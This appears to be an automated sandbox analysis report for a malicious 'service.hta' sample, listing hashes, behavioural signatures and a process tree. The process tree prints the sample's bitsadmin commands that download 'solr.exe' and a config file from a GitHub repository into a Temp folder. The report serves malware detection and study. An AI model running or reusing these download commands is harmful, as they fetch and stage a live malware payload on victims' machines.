Analysis
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max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20250207-en -
resource tags
arch:x64arch:x86image:win7-20250207-enlocale:en-usos:windows7-x64system -
submitted
27/03/2025, 03:37
Static task
static1
Behavioral task
behavioral1
Sample
service.hta
Resource
win7-20250207-en
6 signatures
150 seconds
General
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Target
service.hta
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Size
2KB
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MD5
0028c690c43f28fe571cd968627127a1
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SHA1
fb8672d3e91ab19eb698785d89dc19b57469c69f
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SHA256
3ccad5317d4c96825a9d45d9be545bf0c6d5aff47b6d3a0193aed10cd375208c
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SHA512
9b63653284c8fa136ec87b82a2123bad839e746c5d5663f3c2c8f7f4bd4b11258193de2e3cffb34151818c10855d890ef3a74b5a9bdb3841379bbd25c5acc020
Malware Config
Signatures
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Download via BitsAdmin 1 TTPs 2 IoCs
pid Process 2324 bitsadmin.exe 2340 bitsadmin.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 8 raw.githubusercontent.com 9 raw.githubusercontent.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bitsadmin.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bitsadmin.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-677481364-2238709445-1347953534-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1192 wrote to memory of 2324 1192 mshta.exe 31 PID 1192 wrote to memory of 2324 1192 mshta.exe 31 PID 1192 wrote to memory of 2324 1192 mshta.exe 31 PID 1192 wrote to memory of 2324 1192 mshta.exe 31 PID 1192 wrote to memory of 2340 1192 mshta.exe 33 PID 1192 wrote to memory of 2340 1192 mshta.exe 33 PID 1192 wrote to memory of 2340 1192 mshta.exe 33 PID 1192 wrote to memory of 2340 1192 mshta.exe 33
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\service.hta"1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1192 -
C:\Windows\SysWOW64\bitsadmin.exe"C:\Windows\System32\bitsadmin.exe" /transfer down https://github.com/safe0909/check/raw/refs/heads/main/solr.exe C:\Users\Admin\AppData\Local\Temp\cache\solr.exe2⤵
- Download via BitsAdmin
- System Location Discovery: System Language Discovery
PID:2324
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C:\Windows\SysWOW64\bitsadmin.exe"C:\Windows\System32\bitsadmin.exe" /transfer down https://raw.githubusercontent.com/safe0909/check/refs/heads/main/config.json C:\Users\Admin\AppData\Local\Temp\cache\config.json2⤵
- Download via BitsAdmin
- System Location Discovery: System Language Discovery
PID:2340
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